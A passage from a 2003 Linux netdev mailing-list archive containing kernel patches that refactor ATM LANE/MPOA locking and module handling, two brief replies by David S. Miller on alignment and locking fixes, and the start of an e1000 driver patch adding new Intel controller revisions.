(i=0;ilec_arp_tables[i];entry != NULL; entry=next) { next = entry->next; - lec_arp_remove(priv->lec_arp_tables, entry); + lec_arp_remove(priv, entry); kfree(entry); } } @@ -1430,7 +1430,7 @@ /* * Find entry by mac_address */ -static __inline__ struct lec_arp_table* +static inline struct lec_arp_table* lec_arp_find(struct lec_priv *priv, unsigned char *mac_addr) { @@ -1568,8 +1568,6 @@ lec_arp_check_expire(unsigned long data) { struct lec_priv *priv = (struct lec_priv *)data; - struct lec_arp_table **lec_arp_tables = - (struct lec_arp_table **)priv->lec_arp_tables; struct lec_arp_table *entry, *next; unsigned long now; unsigned long time_to_check; @@ -1585,7 +1583,7 @@ lec_arp_get(priv); now = jiffies; for(i=0;ilec_arp_tables[i]; entry != NULL; ) { if ((entry->flags) & LEC_REMOTE_FLAG && priv->topology_change) time_to_check=priv->forward_delay_time; @@ -1601,7 +1599,7 @@ /* Remove entry */ DPRINTK("LEC:Entry timed out\n"); next = entry->next; - lec_arp_remove(lec_arp_tables, entry); + lec_arp_remove(priv, entry); kfree(entry); entry = next; } else { @@ -1690,7 +1688,7 @@ if (!entry) { return priv->mcast_vcc; } - lec_arp_add(priv->lec_arp_tables, entry); + lec_arp_add(priv, entry); /* We want arp-request(s) to be sent */ entry->packets_flooded =1; entry->status = ESI_ARP_PENDING; @@ -1723,7 +1721,7 @@ if (!memcmp(atm_addr, entry->atm_addr, ATM_ESA_LEN) && (permanent || !(entry->flags & LEC_PERMANENT_FLAG))) { - lec_arp_remove(priv->lec_arp_tables, entry); + lec_arp_remove(priv, entry); kfree(entry); } lec_arp_put(priv); @@ -1789,7 +1787,7 @@ entry->status = ESI_FORWARD_DIRECT; memcpy(entry->mac_addr, mac_addr, ETH_ALEN); entry->last_used = jiffies; - lec_arp_add(priv->lec_arp_tables, entry); + lec_arp_add(priv, entry); } if (remoteflag) entry->flags|=LEC_REMOTE_FLAG; @@ -1809,7 +1807,7 @@ return; } entry->status = ESI_UNKNOWN; - lec_arp_add(priv->lec_arp_tables, entry); + lec_arp_add(priv, entry); /* Temporary, changes before end of function */ } memcpy(entry->atm_addr, atm_addr, ATM_ESA_LEN); @@ -2056,7 +2054,7 @@ to_add->old_push = vcc->push; vcc->push = lec_push; priv->mcast_vcc = vcc; - lec_arp_add(priv->lec_arp_tables, to_add); + lec_arp_add(priv, to_add); lec_arp_put(priv); return 0; } @@ -2074,7 +2072,7 @@ for(entry = priv->lec_arp_tables[i];entry; entry=next) { next = entry->next; if (vcc == entry->vcc) { - lec_arp_remove(priv->lec_arp_tables,entry); + lec_arp_remove(priv, entry); kfree(entry); if (priv->mcast_vcc == vcc) { priv->mcast_vcc = NULL; @@ -2154,23 +2152,23 @@ lec_arp_get(priv); entry = priv->lec_arp_empty_ones; if (vcc == entry->vcc) { - spin_lock_irqsave(&lec_arp_spinlock, flags); + spin_lock_irqsave(&priv->lec_arp_lock, flags); del_timer(&entry->timer); memcpy(entry->mac_addr, src, ETH_ALEN); entry->status = ESI_FORWARD_DIRECT; entry->last_used = jiffies; priv->lec_arp_empty_ones = entry->next; - spin_unlock_irqrestore(&lec_arp_spinlock, flags); + spin_unlock_irqrestore(&priv->lec_arp_lock, flags); /* We might have got an entry */ if ((prev=lec_arp_find(priv,src))) { - lec_arp_remove(priv->lec_arp_tables, prev); + lec_arp_remove(priv, prev); kfree(prev); } - lec_arp_add(priv->lec_arp_tables, entry); + lec_arp_add(priv, entry); lec_arp_put(priv); return; } - spin_lock_irqsave(&lec_arp_spinlock, flags); + spin_lock_irqsave(&priv->lec_arp_lock, flags); prev = entry; entry = entry->next; while (entry && entry->vcc != vcc) { @@ -2180,7 +2178,7 @@ if (!entry) { DPRINTK("LEC_ARP: Arp_check_empties: entry not found!\n"); lec_arp_put(priv); - spin_unlock_irqrestore(&lec_arp_spinlock, flags); + spin_unlock_irqrestore(&priv->lec_arp_lock, flags); return; } del_timer(&entry->timer); @@ -2188,12 +2186,12 @@ entry->status = ESI_FORWARD_DIRECT; entry->last_used = jiffies; prev->next = entry->next; - spin_unlock_irqrestore(&lec_arp_spinlock, flags); + spin_unlock_irqrestore(&priv->lec_arp_lock, flags); if ((prev = lec_arp_find(priv, src))) { - lec_arp_remove(priv->lec_arp_tables,prev); + lec_arp_remove(priv, prev); kfree(prev); } - lec_arp_add(priv->lec_arp_tables,entry); + lec_arp_add(priv, entry); lec_arp_put(priv); } MODULE_LICENSE("GPL"); diff -Nru a/net/atm/lec.h b/net/atm/lec.h --- a/net/atm/lec.h Mon Sep 8 17:29:52 2003 +++ b/net/atm/lec.h Mon Sep 8 17:29:52 2003 @@ -64,7 +64,8 @@ int (*lecd_attach)(struct atm_vcc *vcc, int arg); int (*mcast_attach)(struct atm_vcc *vcc, int arg); int (*vcc_attach)(struct atm_vcc *vcc, void *arg); - struct net_device **(*get_lecs)(void); + struct net_device * (*get_lec)(int itf); + struct module *owner; }; /* @@ -102,6 +103,7 @@ collects all those VCCs. LANEv1 client has only one item in this list. These entries are not aged out. */ atomic_t lec_arp_users; + spinlock_t lec_arp_lock; struct atm_vcc *mcast_vcc; /* Default Multicast Send VCC */ struct atm_vcc *lecd; struct timer_list lec_arp_timer; @@ -148,14 +150,16 @@ int lecd_attach(struct atm_vcc *vcc, int arg); int lec_vcc_attach(struct atm_vcc *vcc, void *arg); int lec_mcast_attach(struct atm_vcc *vcc, int arg); -struct net_device **get_dev_lec(void); +struct net_device *get_dev_lec(int itf); int make_lec(struct atm_vcc *vcc); int send_to_lecd(struct lec_priv *priv, atmlec_msg_type type, unsigned char *mac_addr, unsigned char *atm_addr, struct sk_buff *data); void lec_push(struct atm_vcc *vcc, struct sk_buff *skb); -void atm_lane_init(void); -void atm_lane_init_ops(struct atm_lane_ops *ops); +extern struct atm_lane_ops *atm_lane_ops; +void atm_lane_ops_set(struct atm_lane_ops *hook); +int try_atm_lane_ops(void); + #endif /* _LEC_H_ */ diff -Nru a/net/atm/mpc.c b/net/atm/mpc.c --- a/net/atm/mpc.c Mon Sep 8 17:29:52 2003 +++ b/net/atm/mpc.c Mon Sep 8 17:29:52 2003 @@ -251,12 +251,14 @@ static struct net_device *find_lec_by_itfnum(int itf) { - extern struct atm_lane_ops atm_lane_ops; /* in common.c */ - - if (atm_lane_ops.get_lecs == NULL) + struct net_device *dev; + if (!try_atm_lane_ops()) return NULL; - return atm_lane_ops.get_lecs()[itf]; /* FIXME: something better */ + dev = atm_lane_ops->get_lec(itf); + if (atm_lane_ops->owner) + __MOD_DEC_USE_COUNT(atm_lane_ops->owner); + return dev; } static struct mpoa_client *alloc_mpc(void) @@ -777,9 +779,10 @@ if (mpc->dev) { /* check if the lec is LANE2 capable */ priv = (struct lec_priv *)mpc->dev->priv; - if (priv->lane_version < 2) + if (priv->lane_version < 2) { + dev_put(mpc->dev); mpc->dev = NULL; - else + } else priv->lane2_ops->associate_indicator = lane2_assoc_ind; } @@ -837,6 +840,7 @@ struct lec_priv *priv = (struct lec_priv *)mpc->dev->priv; priv->lane2_ops->associate_indicator = NULL; stop_mpc(mpc); + dev_put(mpc->dev); } mpc->in_ops->destroy_cache(mpc); @@ -973,6 +977,7 @@ } mpc->dev_num = priv->itfnum; mpc->dev = dev; + dev_hold(dev); dprintk("mpoa: (%s) was initialized\n", dev->name); break; case NETDEV_UNREGISTER: @@ -982,6 +987,7 @@ break; dprintk("mpoa: device (%s) was deallocated\n", dev->name); stop_mpc(mpc); + dev_put(mpc->dev); mpc->dev = NULL; break; case NETDEV_UP: @@ -1391,13 +1397,18 @@ return; } -void atm_mpoa_init_ops(struct atm_mpoa_ops *ops) +static struct atm_mpoa_ops __atm_mpoa_ops = { + .mpoad_attach = atm_mpoa_mpoad_attach, + .vcc_attach = atm_mpoa_vcc_attach, + .owner = THIS_MODULE +}; + +static __init int atm_mpoa_init(void) { - ops->mpoad_attach = atm_mpoa_mpoad_attach; - ops->vcc_attach = atm_mpoa_vcc_attach; + atm_mpoa_ops_set(&__atm_mpoa_ops); #ifdef CONFIG_PROC_FS - if(mpc_proc_init() != 0) + if (mpc_proc_init() != 0) printk(KERN_INFO "mpoa: failed to initialize /proc/mpoa\n"); else printk(KERN_INFO "mpoa: /proc/mpoa initialized\n"); @@ -1405,22 +1416,11 @@ printk("mpc.c: " __DATE__ " " __TIME__ " initialized\n"); - return; -} - -#ifdef MODULE -int init_module(void) -{ - extern struct atm_mpoa_ops atm_mpoa_ops; - - atm_mpoa_init_ops(&atm_mpoa_ops); - return 0; } -void cleanup_module(void) +void __exit atm_mpoa_cleanup(void) { - extern struct atm_mpoa_ops atm_mpoa_ops; struct mpoa_client *mpc, *tmp; struct atm_mpoa_qos *qos, *nextqos; struct lec_priv *priv; @@ -1435,8 +1435,7 @@ del_timer(&mpc_timer); unregister_netdevice_notifier(&mpoa_notifier); - atm_mpoa_ops.mpoad_attach = NULL; - atm_mpoa_ops.vcc_attach = NULL; + atm_mpoa_ops_set(NULL); mpc = mpcs; mpcs = NULL; @@ -1471,5 +1470,8 @@ return; } -#endif /* MODULE */ + +module_init(atm_mpoa_init); +module_exit(atm_mpoa_cleanup); + MODULE_LICENSE("GPL"); diff -Nru a/net/atm/mpc.h b/net/atm/mpc.h --- a/net/atm/mpc.h Mon Sep 8 17:29:52 2003 +++ b/net/atm/mpc.h Mon Sep 8 17:29:52 2003 @@ -48,11 +48,13 @@ struct atm_mpoa_ops { int (*mpoad_attach)(struct atm_vcc *vcc, int arg); /* attach mpoa daemon */ int (*vcc_attach)(struct atm_vcc *vcc, long arg); /* attach shortcut vcc */ + struct module *owner; }; /* Boot/module initialization function */ -void atm_mpoa_init(void); -void atm_mpoa_init_ops(struct atm_mpoa_ops *ops); +extern struct atm_mpoa_ops *atm_mpoa_ops; +int try_atm_mpoa_ops(void); +void atm_mpoa_ops_set(struct atm_mpoa_ops *hook); /* MPOA QoS operations */ struct atm_mpoa_qos *atm_mpoa_add_qos(uint32_t dst_ip, struct atm_qos *qos); diff -Nru a/net/atm/proc.c b/net/atm/proc.c --- a/net/atm/proc.c Mon Sep 8 17:29:52 2003 +++ b/net/atm/proc.c Mon Sep 8 17:29:52 2003 @@ -47,7 +47,6 @@ #if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) #include "lec.h" #include "lec_arpc.h" -extern struct atm_lane_ops atm_lane_ops; /* in common.c */ #endif static ssize_t proc_dev_atm_read(struct file *file,char *buf,size_t count, @@ -482,57 +481,77 @@ #if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) static int atm_lec_info(loff_t pos,char *buf) { + unsigned long flags; struct lec_priv *priv; struct lec_arp_table *entry; int i, count, d, e; - struct net_device **dev_lec; + struct net_device *dev; if (!pos) { return sprintf(buf,"Itf MAC ATM destination" " Status Flags " "VPI/VCI Recv VPI/VCI\n"); } - if (atm_lane_ops.get_lecs == NULL) + if (!try_atm_lane_ops()) return 0; /* the lane module is not there yet */ - else - dev_lec = atm_lane_ops.get_lecs(); count = pos; - for(d=0;dpriv)) continue; - for(i=0;ilec_arp_tables[i]; - for(;entry;entry=entry->next) { - if (--count) continue; - e=sprintf(buf,"%s ", - dev_lec[d]->name); - lec_info(entry,buf+e); + for(d = 0; d < MAX_LEC_ITF; d++) { + dev = atm_lane_ops->get_lec(d); + if (!dev || !(priv = (struct lec_priv *) dev->priv)) + continue; + spin_lock_irqsave(&priv->lec_arp_lock, flags); + for(i = 0; i < LEC_ARP_TABLE_SIZE; i++) { + for(entry = priv->lec_arp_tables[i]; entry; entry = entry->next) { + if (--count) + continue; + e = sprintf(buf,"%s ", dev->name); + lec_info(entry, buf+e); + spin_unlock_irqrestore(&priv->lec_arp_lock, flags); + dev_put(dev); + if (atm_lane_ops->owner) + __MOD_DEC_USE_COUNT(atm_lane_ops->owner); return strlen(buf); } } - for(entry=priv->lec_arp_empty_ones; entry; - entry=entry->next) { - if (--count) continue; - e=sprintf(buf,"%s ",dev_lec[d]->name); + for(entry = priv->lec_arp_empty_ones; entry; entry = entry->next) { + if (--count) + continue; + e = sprintf(buf,"%s ", dev->name); lec_info(entry, buf+e); + spin_unlock_irqrestore(&priv->lec_arp_lock, flags); + dev_put(dev); + if (atm_lane_ops->owner) + __MOD_DEC_USE_COUNT(atm_lane_ops->owner); return strlen(buf); } - for(entry=priv->lec_no_forward; entry; - entry=entry->next) { - if (--count) continue; - e=sprintf(buf,"%s ",dev_lec[d]->name); + for(entry = priv->lec_no_forward; entry; entry=entry->next) { + if (--count) + continue; + e = sprintf(buf,"%s ", dev->name); lec_info(entry, buf+e); + spin_unlock_irqrestore(&priv->lec_arp_lock, flags); + dev_put(dev); + if (atm_lane_ops->owner) + __MOD_DEC_USE_COUNT(atm_lane_ops->owner); return strlen(buf); } - for(entry=priv->mcast_fwds; entry; - entry=entry->next) { - if (--count) continue; - e=sprintf(buf,"%s ",dev_lec[d]->name); + for(entry = priv->mcast_fwds; entry; entry = entry->next) { + if (--count) + continue; + e = sprintf(buf,"%s ", dev->name); lec_info(entry, buf+e); + spin_unlock_irqrestore(&priv->lec_arp_lock, flags); + dev_put(dev); + if (atm_lane_ops->owner) + __MOD_DEC_USE_COUNT(atm_lane_ops->owner); return strlen(buf); } + spin_unlock_irqrestore(&priv->lec_arp_lock, flags); + dev_put(dev); } + if (atm_lane_ops->owner) + __MOD_DEC_USE_COUNT(atm_lane_ops->owner); return 0; } #endif From davem@pizda.ninka.net Mon Sep 8 19:24:37 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 19:25:11 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h892Oax4009193 for ; Mon, 8 Sep 2003 19:24:37 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id TAA05456; Mon, 8 Sep 2003 19:14:00 -0700 Date: Mon, 8 Sep 2003 19:14:00 -0700 From: "David S. Miller" To: Harald Welte Cc: bdschuym@pandora.be, acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: ipt_physdev.c alignment problems on parisc64 Message-Id: <20030908191400.5ef59ab6.davem@redhat.com> In-Reply-To: <20030905153152.GA3623@obroa-skai.de.gnumonks.org> References: <200309022116.41697.bdschuym@pandora.be> <20030903200426.59d0af4a.davem@redhat.com> <20030905153152.GA3623@obroa-skai.de.gnumonks.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5706 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 262 Lines: 8 On Fri, 5 Sep 2003 17:31:52 +0200 Harald Welte wrote: > The problem is that it is _not_ a simple reimplementation of memcmp(), > but a mask-compare. Ok. It still should be fixed by not using the "unsigned long *" cast-and-op tricks... From davem@pizda.ninka.net Mon Sep 8 19:31:41 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 19:32:17 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h892Vfx4009891 for ; Mon, 8 Sep 2003 19:31:41 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id TAA05485; Mon, 8 Sep 2003 19:21:15 -0700 Date: Mon, 8 Sep 2003 19:21:15 -0700 From: "David S. Miller" To: Michael Rozhavsky Cc: netdev@oss.sgi.com Subject: Re: [PATCH] fix locking Message-Id: <20030908192115.2f0263f3.davem@redhat.com> In-Reply-To: <20030906002649.GA32369@server-mrozhavsky.dyndns.org> References: <20030906002649.GA32369@server-mrozhavsky.dyndns.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5707 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 519 Lines: 15 On Fri, 5 Sep 2003 17:26:49 -0700 Michael Rozhavsky wrote: > I've found two problems with locking in networking code. The tcp_ipv4.c part is not a bug. We hold the socket lock on 'sk' and therefore nobody else can add any entries to lopt->syn_table[] entries. We only need to hold the lock during the table update because _readers_ of the hash table do not take the 'sk' lock when do traverse the hash. The sit.c change does look correct, and therefore I'll apply it after some more review... From scott.feldman@intel.com Mon Sep 8 19:49:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 19:50:12 -0700 (PDT) Received: from hermes.py.intel.com (hermes.py.intel.com [146.152.216.3]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h892nbx4017028 for ; Mon, 8 Sep 2003 19:49:37 -0700 Received: from petasus.py.intel.com (petasus.py.intel.com [146.152.221.4]) by hermes.py.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h892iou01533 for ; Tue, 9 Sep 2003 02:44:50 GMT Received: from fmsmsxvs041.fm.intel.com (fmsmsxvs041.fm.intel.com [132.233.42.126]) by petasus.py.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h892nFC27296 for ; Tue, 9 Sep 2003 02:49:16 GMT Received: from [134.134.3.75] ([134.134.3.75]) by fmsmsxvs041.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090819492717022 ; Mon, 08 Sep 2003 19:49:27 -0700 Date: Mon, 8 Sep 2003 20:14:06 -0700 (PDT) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com Subject: [e1000 2.6 1/11] new 82541/5/6/7 hardware support Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5709 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 101967 Lines: 2631 * Added 82545 (rev3), 82546 (rev3), and 82541/7 (rev2) support - new device IDs - internal SERDES support for 82545/6 (rev3) - don't apply MMRBC workaround for 82545/6 (rev3) - don't use IO mapping for reset for 82545/6 (rev3) ------------ diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_ethtool.c linux-2.6.0-test4/drivers/net/e1000.new/e1000_ethtool.c --- linux-2.6.0-test4/drivers/net/e1000/e1000_ethtool.c 2003-08-22 16:55:33.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_ethtool.c 2003-09-08 09:13:10.000000000 -0700 @@ -958,9 +958,13 @@ e1000_set_phy_loopback(struct e1000_adap case e1000_82544: case e1000_82540: case e1000_82545: + case e1000_82545_rev_3: case e1000_82546: + case e1000_82546_rev_3: case e1000_82541: + case e1000_82541_rev_2: case e1000_82547: + case e1000_82547_rev_2: return e1000_integrated_phy_loopback(adapter); break; @@ -983,9 +987,12 @@ e1000_setup_loopback_test(struct e1000_a { uint32_t rctl; - if(adapter->hw.media_type == e1000_media_type_fiber) { + if(adapter->hw.media_type == e1000_media_type_fiber || + adapter->hw.media_type == e1000_media_type_internal_serdes) { if(adapter->hw.mac_type == e1000_82545 || - adapter->hw.mac_type == e1000_82546) + adapter->hw.mac_type == e1000_82546 || + adapter->hw.mac_type == e1000_82545_rev_3 || + adapter->hw.mac_type == e1000_82546_rev_3) return e1000_set_phy_loopback(adapter); else { rctl = E1000_READ_REG(&adapter->hw, RCTL); @@ -1010,9 +1017,12 @@ e1000_loopback_cleanup(struct e1000_adap E1000_WRITE_REG(&adapter->hw, RCTL, rctl); if(adapter->hw.media_type == e1000_media_type_copper || - (adapter->hw.media_type == e1000_media_type_fiber && + ((adapter->hw.media_type == e1000_media_type_fiber || + adapter->hw.media_type == e1000_media_type_internal_serdes) && (adapter->hw.mac_type == e1000_82545 || - adapter->hw.mac_type == e1000_82546))) { + adapter->hw.mac_type == e1000_82546 || + adapter->hw.mac_type == e1000_82545_rev_3 || + adapter->hw.mac_type == e1000_82546_rev_3))) { adapter->hw.autoneg = TRUE; e1000_read_phy_reg(&adapter->hw, PHY_CTRL, &phy_reg); if(phy_reg & MII_CR_LOOPBACK) { @@ -1162,6 +1172,7 @@ e1000_ethtool_gwol(struct e1000_adapter return; case E1000_DEV_ID_82546EB_FIBER: + case E1000_DEV_ID_82546GB_FIBER: /* Wake events only supported on port A for dual fiber */ if(E1000_READ_REG(hw, STATUS) & E1000_STATUS_FUNC_1) { wol->supported = 0; @@ -1200,6 +1211,7 @@ e1000_ethtool_swol(struct e1000_adapter return wol->wolopts ? -EOPNOTSUPP : 0; case E1000_DEV_ID_82546EB_FIBER: + case E1000_DEV_ID_82546GB_FIBER: /* Wake events only supported on port A for dual fiber */ if(E1000_READ_REG(hw, STATUS) & E1000_STATUS_FUNC_1) return wol->wolopts ? -EOPNOTSUPP : 0; diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_hw.c linux-2.6.0-test4/drivers/net/e1000.new/e1000_hw.c --- linux-2.6.0-test4/drivers/net/e1000/e1000_hw.c 2003-08-22 17:01:40.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_hw.c 2003-09-08 09:13:11.000000000 -0700 @@ -34,8 +34,9 @@ static int32_t e1000_set_phy_type(struct e1000_hw *hw); static void e1000_phy_init_script(struct e1000_hw *hw); -static int32_t e1000_setup_fiber_link(struct e1000_hw *hw); static int32_t e1000_setup_copper_link(struct e1000_hw *hw); +static int32_t e1000_setup_fiber_serdes_link(struct e1000_hw *hw); +static int32_t e1000_adjust_serdes_amplitude(struct e1000_hw *hw); static int32_t e1000_phy_force_speed_duplex(struct e1000_hw *hw); static int32_t e1000_config_mac_to_phy(struct e1000_hw *hw); static int32_t e1000_force_mac_fc(struct e1000_hw *hw); @@ -53,11 +53,16 @@ static int32_t e1000_write_eeprom_microw static void e1000_raise_ee_clk(struct e1000_hw *hw, uint32_t *eecd); static void e1000_lower_ee_clk(struct e1000_hw *hw, uint32_t *eecd); static void e1000_shift_out_ee_bits(struct e1000_hw *hw, uint16_t data, uint16_t count); +static int32_t e1000_write_phy_reg_ex(struct e1000_hw *hw, uint32_t reg_addr, + uint16_t phy_data); +static int32_t e1000_read_phy_reg_ex(struct e1000_hw *hw,uint32_t reg_addr, + uint16_t *phy_data); static uint16_t e1000_shift_in_ee_bits(struct e1000_hw *hw, uint16_t count); static int32_t e1000_acquire_eeprom(struct e1000_hw *hw); static void e1000_release_eeprom(struct e1000_hw *hw); static void e1000_standby_eeprom(struct e1000_hw *hw); static int32_t e1000_id_led_init(struct e1000_hw * hw); +static int32_t e1000_set_vco_speed(struct e1000_hw *hw); @@ -100,50 +100,41 @@ e1000_phy_init_script(struct e1000_hw *h DEBUGFUNC("e1000_phy_init_script"); if(hw->phy_init_script) { - msec_delay(10); + msec_delay(20); - e1000_write_phy_reg(hw,IGP01E1000_PHY_PAGE_SELECT,0x0000); e1000_write_phy_reg(hw,0x0000,0x0140); msec_delay(5); - e1000_write_phy_reg(hw,IGP01E1000_PHY_PAGE_SELECT,0x1F95); - e1000_write_phy_reg(hw,0x0015,0x0001); - e1000_write_phy_reg(hw,IGP01E1000_PHY_PAGE_SELECT,0x1F71); - e1000_write_phy_reg(hw,0x0011,0xBD21); + if(hw->mac_type == e1000_82541 || hw->mac_type == e1000_82547) { + e1000_write_phy_reg(hw, 0x1F95, 0x0001); + + e1000_write_phy_reg(hw, 0x1F71, 0xBD21); - e1000_write_phy_reg(hw,IGP01E1000_PHY_PAGE_SELECT,0x1F79); - e1000_write_phy_reg(hw,0x0019,0x0018); + e1000_write_phy_reg(hw, 0x1F79, 0x0018); - e1000_write_phy_reg(hw,IGP01E1000_PHY_PAGE_SELECT,0x1F30); - e1000_write_phy_reg(hw,0x0010,0x1600); + e1000_write_phy_reg(hw, 0x1F30, 0x1600); - e1000_write_phy_reg(hw,IGP01E1000_PHY_PAGE_SELECT,0x1F31); - e1000_write_phy_reg(hw,0x0011,0x0014); + e1000_write_phy_reg(hw, 0x1F31, 0x0014); - e1000_write_phy_reg(hw,IGP01E1000_PHY_PAGE_SELECT,0x1F32); - e1000_write_phy_reg(hw,0x0012,0x161C); + e1000_write_phy_reg(hw, 0x1F32, 0x161C); - e1000_write_phy_reg(hw,IGP01E1000_PHY_PAGE_SELECT,0x1F94); - e1000_write_phy_reg(hw,0x0014,0x0003); + e1000_write_phy_reg(hw, 0x1F94, 0x0003); - e1000_write_phy_reg(hw,IGP01E1000_PHY_PAGE_SELECT,0x1F96); - e1000_write_phy_reg(hw,0x0016,0x003F); + e1000_write_phy_reg(hw, 0x1F96, 0x003F); - e1000_write_phy_reg(hw,IGP01E1000_PHY_PAGE_SELECT,0x2010); - e1000_write_phy_reg(hw,0x0010,0x0008); + e1000_write_phy_reg(hw, 0x2010, 0x0008); + } else { + e1000_write_phy_reg(hw, 0x1F73, 0x0099); + } - e1000_write_phy_reg(hw,IGP01E1000_PHY_PAGE_SELECT,0x0000); - e1000_write_phy_reg(hw,0x0000,0x3300); + e1000_write_phy_reg(hw, 0x0000, 0x3300); if(hw->mac_type == e1000_82547) { uint16_t fused, fine, coarse; /* Move to analog registers page */ - e1000_write_phy_reg(hw, IGP01E1000_PHY_PAGE_SELECT, - IGP01E1000_ANALOG_REGS_PAGE); - e1000_read_phy_reg(hw, IGP01E1000_ANALOG_SPARE_FUSE_STATUS, &fused); if(!(fused & IGP01E1000_ANALOG_SPARE_FUSE_ENABLED)) { @@ -158,17 +155,14 @@ e1000_phy_init_script(struct e1000_hw *h } else if(coarse == IGP01E1000_ANALOG_FUSE_COARSE_THRESH) fine -= IGP01E1000_ANALOG_FUSE_FINE_10; - fused = (fused & IGP01E1000_ANALOG_FUSE_POLY_MASK) | - (fine & IGP01E1000_ANALOG_FUSE_FINE_MASK) | + fused = (fused & IGP01E1000_ANALOG_FUSE_POLY_MASK) | + (fine & IGP01E1000_ANALOG_FUSE_FINE_MASK) | (coarse & IGP01E1000_ANALOG_FUSE_COARSE_MASK); e1000_write_phy_reg(hw, IGP01E1000_ANALOG_FUSE_CONTROL, fused); - e1000_write_phy_reg(hw, IGP01E1000_ANALOG_FUSE_BYPASS, + e1000_write_phy_reg(hw, IGP01E1000_ANALOG_FUSE_BYPASS, IGP01E1000_ANALOG_FUSE_ENABLE_SW_CONTROL); } - /* Return to first page of registers */ - e1000_write_phy_reg(hw, IGP01E1000_PHY_PAGE_SELECT, - IGP01E1000_IEEE_REGS_PAGE); } } } @@ -218,18 +224,36 @@ e1000_set_mac_type(struct e1000_hw *hw) case E1000_DEV_ID_82545EM_FIBER: hw->mac_type = e1000_82545; break; + case E1000_DEV_ID_82545GM_COPPER: + case E1000_DEV_ID_82545GM_FIBER: + case E1000_DEV_ID_82545GM_SERDES: + hw->mac_type = e1000_82545_rev_3; + break; case E1000_DEV_ID_82546EB_COPPER: case E1000_DEV_ID_82546EB_FIBER: case E1000_DEV_ID_82546EB_QUAD_COPPER: hw->mac_type = e1000_82546; break; + case E1000_DEV_ID_82546GB_COPPER: + case E1000_DEV_ID_82546GB_FIBER: + case E1000_DEV_ID_82546GB_SERDES: + hw->mac_type = e1000_82546_rev_3; + break; case E1000_DEV_ID_82541EI: - case E1000_DEV_ID_82541EP: + case E1000_DEV_ID_82541EI_MOBILE: hw->mac_type = e1000_82541; break; + case E1000_DEV_ID_82541ER: + case E1000_DEV_ID_82541GI: + case E1000_DEV_ID_82541GI_MOBILE: + hw->mac_type = e1000_82541_rev_2; + break; case E1000_DEV_ID_82547EI: hw->mac_type = e1000_82547; break; + case E1000_DEV_ID_82547GI: + hw->mac_type = e1000_82547_rev_2; + break; default: /* Should never have loaded on this device */ return -E1000_ERR_MAC_TYPE; @@ -243,7 +224,7 @@ * * hw - Struct containing variables accessed by shared code *****************************************************************************/ -void +int32_t e1000_reset_hw(struct e1000_hw *hw) { uint32_t ctrl; @@ -300,29 +343,54 @@ e1000_reset_hw(struct e1000_hw *hw) case e1000_82545: case e1000_82546: case e1000_82541: + case e1000_82541_rev_2: /* These controllers can't ack the 64-bit write when issuing the * reset, so use IO-mapping as a workaround to issue the reset */ E1000_WRITE_REG_IO(hw, CTRL, (ctrl | E1000_CTRL_RST)); break; + case e1000_82545_rev_3: + case e1000_82546_rev_3: + /* Reset is performed on a shadow of the control register */ + E1000_WRITE_REG(hw, CTRL_DUP, (ctrl | E1000_CTRL_RST)); + break; default: E1000_WRITE_REG(hw, CTRL, (ctrl | E1000_CTRL_RST)); break; } - /* Force a reload from the EEPROM if necessary */ - if(hw->mac_type < e1000_82540) { - /* Wait for reset to complete */ - udelay(10); - ctrl_ext = E1000_READ_REG(hw, CTRL_EXT); - ctrl_ext |= E1000_CTRL_EXT_EE_RST; - E1000_WRITE_REG(hw, CTRL_EXT, ctrl_ext); - E1000_WRITE_FLUSH(hw); - /* Wait for EEPROM reload */ - msec_delay(2); - } else { - /* Wait for EEPROM reload (it happens automatically) */ - msec_delay(5); - /* Dissable HW ARPs on ASF enabled adapters */ + /* After MAC reset, force reload of EEPROM to restore power-on settings to + * device. Later controllers reload the EEPROM automatically, so just wait + * for reload to complete. + */ + switch(hw->mac_type) { + case e1000_82542_rev2_0: + case 